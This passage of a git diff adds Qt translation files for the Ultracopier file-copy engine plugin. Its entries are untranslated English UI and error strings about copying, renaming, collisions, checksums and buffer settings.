+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/zh/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/zh/translation.ts
new file mode 100644
index 0000000..25bb8d3
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/zh/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
